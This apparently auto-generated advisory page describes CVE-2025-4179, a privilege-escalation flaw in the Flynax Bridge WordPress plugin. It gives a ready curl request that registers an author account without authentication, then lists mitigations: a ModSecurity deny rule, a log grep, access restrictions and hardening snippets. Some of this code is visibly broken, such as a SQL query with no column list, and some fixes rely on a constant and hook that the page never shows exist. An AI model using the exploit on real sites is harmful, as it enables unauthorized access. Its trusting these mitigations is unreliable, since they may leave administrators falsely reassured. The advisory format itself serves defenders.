How CVE-2025-4179 Works
The vulnerability exists in the `registerUser()` function of the Flynax Bridge plugin (≤ v2.2.0) for WordPress, which lacks proper capability checks. Unauthenticated attackers can exploit this flaw by sending crafted HTTP requests to the registration endpoint, allowing them to create user accounts with “author” privileges. The plugin fails to validate user roles during registration, bypassing WordPress’s default role assignment restrictions. This enables attackers to gain elevated access without authentication, potentially leading to content manipulation, backdoor installation, or further privilege escalation.
DailyCVE Form:
Platform: WordPress
Version: ≤ 2.2.0
Vulnerability: Privilege Escalation
Severity: Critical
Date: 2025-05-01
What Undercode Say:
Exploitation:
1. Craft Malicious Request:
curl -X POST http://target.com/wp-admin/admin-ajax.php \ -d "action=registerUser&username=attacker&[email protected]&role=author"
2. Verify Exploit Success:
curl -I http://target.com/author/attacker/
Protection:
1. Patch Immediately:
wp plugin update flynax-bridge --allow-root
2. Temporary Mitigation:
Add to `wp-config.php`:
define('DISABLE_FLYNAX_REGISTER', true);
3. WAF Rule (ModSecurity):
SecRule ARGS:action "@streq registerUser" \ "id:1005,deny,msg:'Flynax Bridge Exploit Attempt'"
4. Log Monitoring:
tail -f /var/log/apache2/access.log | grep 'admin-ajax.php.registerUser'
5. Post-Exploit Detection:
SELECT FROM wp_users WHERE user_registered > NOW() - INTERVAL 1 DAY;
6. Restrict Access:
location ~ /wp-admin/admin-ajax.php {
allow 192.168.1.0/24;
deny all;
}
7. Disable Plugin (Emergency):
wp plugin deactivate flynax-bridge --quiet
8. Audit User Roles:
// Add to theme's functions.php
add_filter('flynax_register_role', function() { return 'subscriber'; });
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
